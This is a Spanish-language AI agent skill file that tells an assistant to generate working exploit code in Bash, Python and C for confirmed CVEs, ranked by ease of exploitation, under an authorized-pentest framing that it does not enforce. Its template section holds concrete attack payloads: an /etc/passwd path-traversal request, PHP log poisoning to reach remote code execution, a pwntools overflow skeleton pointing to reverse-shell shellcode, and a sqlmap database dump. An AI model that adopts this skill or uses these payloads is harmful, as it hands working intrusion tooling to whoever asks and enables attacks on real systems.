Exploit

---
name: cve-exploit
description: >
  Usar esta skill cuando el usuario tenga vulnerabilidades CVE ya confirmadas mediante POC y
  necesite: código de explotación (exploit), scripts en Bash/Python/C para demostrar la
  vulnerabilidad, o enlaces a exploits públicos en Exploit-DB, GitHub, PacketStorm, etc.
  Activa cuando se mencionen: exploit, explotación, CVE confirmado, script de ataque, POC
  funcional, payload, reverse shell, RCE, LPE, SQLi exploit, buffer overflow exploit.
  Prerequisito implícito: vulnerabilidad ya confirmada en entorno autorizado.
---

# Skill: Explotación de CVEs Confirmados (Hacking Ético)

Genera código funcional y referencias de exploit para CVEs confirmados, ordenados por
facilidad de explotación. Contexto: auditoría ofensiva autorizada / pentesting profesional.

---

## Prerequisitos (verificar antes de generar)

- [ ] CVE confirmado con POC previo realizado
- [ ] Entorno objetivo autorizado (contrato / scope definido)
- [ ] Propósito: demostración de impacto / evidencia para informe

Si no se cumplen, indicar que se requiere confirmación previa de la vulnerabilidad.

---

## PASO 1 — Recibir lista de CVEs confirmados

El usuario debe proporcionar (o extraer de conversación previa):

| CVE | Servicio/Componente | Versión afectada | CVSS | POC confirmado |
|-----|---------------------|-----------------|------|----------------|
| CVE-XXXX-YYYY | Apache / OpenSSH / ... | x.x.x | 9.8 | Sí |

Si no hay tabla, extraer de los hallazgos mencionados en la conversación.

---

## PASO 2 — Ordenar por facilidad de explotación

**Criterios de ordenación (de más fácil a más difícil):**

| Nivel | Criterio | Ejemplos |
|-------|----------|---------|
| ★★★★★ Trivial | Un comando, sin autenticación, exploit público funcional | CVEs con metasploit module, 1-liner curl/bash |
| ★★★★☆ Fácil | Script <50 líneas, condiciones mínimas | SQLi ciego con payload directo, credenciales defecto |
| ★★★☆☆ Medio | Requiere setup, ajuste de offsets o condiciones | Buffer overflow con ASLR, SSRF encadenado |
| ★★☆☆☆ Difícil | Race condition, heap spray, bypass mitigaciones | UAF, type confusion, bypass ASLR+NX |
| ★☆☆☆☆ Complejo | Cadena multi-vuln, conocimiento profundo | Kernel exploits, 0-days encadenados |

---

## PASO 3 — Output por CVE

Para cada CVE, generar en este orden:

### CVE-XXXX-YYYY — [Nombre Descriptivo]

**Metadata:**
```
CVSS v3.1:     X.X [CRÍTICA/ALTA/MEDIA]
Tipo:          RCE / LPE / SQLi / XSS / DoS / ...
Afecta:        Software vX.X - vY.Y
Auth requerida: No / Sí (usuario/admin)
Red requerida:  Remota / Local / Adyacente
Facilidad:     ★★★★★ Trivial
Módulo MSF:    exploit/multi/... (si existe)
```

**Fuentes públicas de exploit:**
```
Exploit-DB:   https://www.exploit-db.com/exploits/XXXXX
GitHub:       https://github.com/user/repo
NVD:          https://nvd.nist.gov/vuln/detail/CVE-XXXX-YYYY
Packetstorm:  https://packetstormsecurity.com/files/XXXXX/
Nuclei:       https://github.com/projectdiscovery/nuclei-templates
```

**Exploit — Bash Shell:**
```bash
#!/bin/bash
# CVE-XXXX-YYYY — [Nombre]
# Uso: ./exploit.sh <TARGET_IP> <PORT>
# Requiere: curl, netcat
# Contexto: Auditoría autorizada únicamente

TARGET="$1"
PORT="${2:-80}"

# [código de explotación funcional]
```

**Exploit — Python3:**
```python
#!/usr/bin/env python3
# CVE-XXXX-YYYY — [Nombre]
# Uso: python3 exploit.py --target 192.168.1.1 --port 80
# Requiere: requests, socket
# Contexto: Auditoría autorizada únicamente

import argparse, socket, requests

def exploit(target, port):
    # [código de explotación funcional]
    pass

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--target", required=True)
    parser.add_argument("--port", type=int, default=80)
    args = parser.parse_args()
    exploit(args.target, args.port)
```

**Exploit — C (si aplica para buffer overflow / kernel):**
```c
// CVE-XXXX-YYYY — [Nombre]
// Compilar: gcc -o exploit exploit.c
// Uso: ./exploit <TARGET> <PORT>
// Contexto: Auditoría autorizada únicamente

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// [código de explotación funcional]
int main(int argc, char *argv[]) {
    // ...
    return 0;
}
```

**Verificación de éxito:**
```
# Indicadores de explotación exitosa:
- [qué output/comportamiento confirma el éxito]
- [comando para verificar acceso / ejecución]
```

---

## PASO 4 — Tabla resumen final

Generar tabla ordenada de más fácil a más difícil:

| # | CVE | CVSS | Tipo | Facilidad | Lenguaje exploit | Exploit-DB | Módulo MSF |
|---|-----|------|------|-----------|-----------------|-----------|-----------|
| 1 | CVE-XXXX | 9.8 | RCE | ★★★★★ | bash/python | ID | sí/no |
| 2 | ... | ... | ... | ★★★☆☆ | python/C | ID | sí/no |

---

## Fuentes de exploits públicos — Referencias principales

```
# Bases de datos de exploits
https://www.exploit-db.com/                    # Exploit-DB (Offensive Security)
https://packetstormsecurity.com/               # PacketStorm Security
https://vuldb.com/                             # VulDB
https://sploitus.com/                          # Sploitus (agregador)

# GitHub — búsqueda de exploits
https://github.com/search?q=CVE-XXXX-YYYY     # Buscar por CVE en GitHub
https://github.com/trickest/cve               # CVE PoC en GitHub (trickest)
https://github.com/nomi-sec/PoC-in-GitHub     # PoC-in-GitHub (índice)
https://github.com/projectdiscovery/nuclei-templates  # Nuclei templates

# Metasploit
https://www.metasploit.com/modules/           # Módulos MSF online
msfconsole> search cve:XXXX-YYYY             # Búsqueda local en MSF

# Referencia CVE
https://nvd.nist.gov/vuln/detail/CVE-XXXX    # NVD — NIST
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-XXXX  # MITRE CVE
https://www.cvedetails.com/cve/CVE-XXXX/     # CVEDetails

# Kali Linux — herramientas integradas
searchsploit CVE-XXXX-YYYY                   # Búsqueda local Exploit-DB
msfconsole -q -x "search cve:XXXX-YYYY"     # Módulos Metasploit
```

---

## Plantillas de exploit por tipo de vulnerabilidad

### RCE sin autenticación (tipo más crítico / más fácil)
```bash
# Patrón genérico — ajustar payload según CVE
curl -s -X POST "http://$TARGET/vulnerable_endpoint" \
  --data "param=$(python3 -c 'import urllib.parse; print(urllib.parse.quote("id"))')" \
  -H "Content-Type: application/x-www-form-urlencoded"
```

### SQLi — extracción de datos
```python
# sqlmap one-liner para CVE con SQLi confirmada
# sqlmap -u "http://TARGET/vuln?id=1" --dbs --batch --level=3 --risk=2
import subprocess
def run_sqlmap(target_url, param):
    cmd = ["sqlmap", "-u", target_url, "-p", param, "--dbs", "--batch"]
    subprocess.run(cmd)
```

### Buffer Overflow — esqueleto con pwntools
```python
from pwn import *
# CVE-XXXX — Buffer overflow
# Ajustar: offset, ret_addr, shellcode según arquitectura objetivo
OFFSET = 0         # calcular con pattern_create / cyclic
RET_ADDR = 0x0     # dirección de retorno (jmp esp, ROP gadget, etc.)
SHELLCODE = b""    # shellcode según SO/arch (msfvenom -p linux/x86/shell_reverse_tcp ...)

payload = b"A" * OFFSET + p32(RET_ADDR) + b"\x90" * 16 + SHELLCODE
io = remote("TARGET", PORT)
io.sendline(payload)
io.interactive()
```

### LPE (Local Privilege Escalation)
```bash
# Compilar y ejecutar exploit local
gcc -o lpe_exploit exploit.c && ./lpe_exploit
# Verificar:
id && whoami
```

### Path Traversal / LFI → RCE
```bash
# LFI clásico
curl "http://$TARGET/page?file=../../../../etc/passwd"
# LFI → RCE via log poisoning
curl -A "<?php system(\$_GET['cmd']); ?>" "http://$TARGET/"
curl "http://$TARGET/page?file=../../../../var/log/apache2/access.log&cmd=id"
```

---

## Notas de uso

- Todo código generado incluye comentario `# Contexto: Auditoría autorizada únicamente`
- Para exploits de stack overflow: calcular offset con `pattern_create` (Metasploit) o `cyclic` (pwntools)
- Para exploits remotos: verificar siempre en laboratorio antes de ejecutar en scope real
- Shellcodes: generar con `msfvenom -p <payload> LHOST=X LPORT=Y -f <format>`
- Si el CVE tiene módulo Metasploit: indicarlo siempre como opción preferente por estabilidad
- Nuclei templates: opción para detección automatizada sin exploit destructivo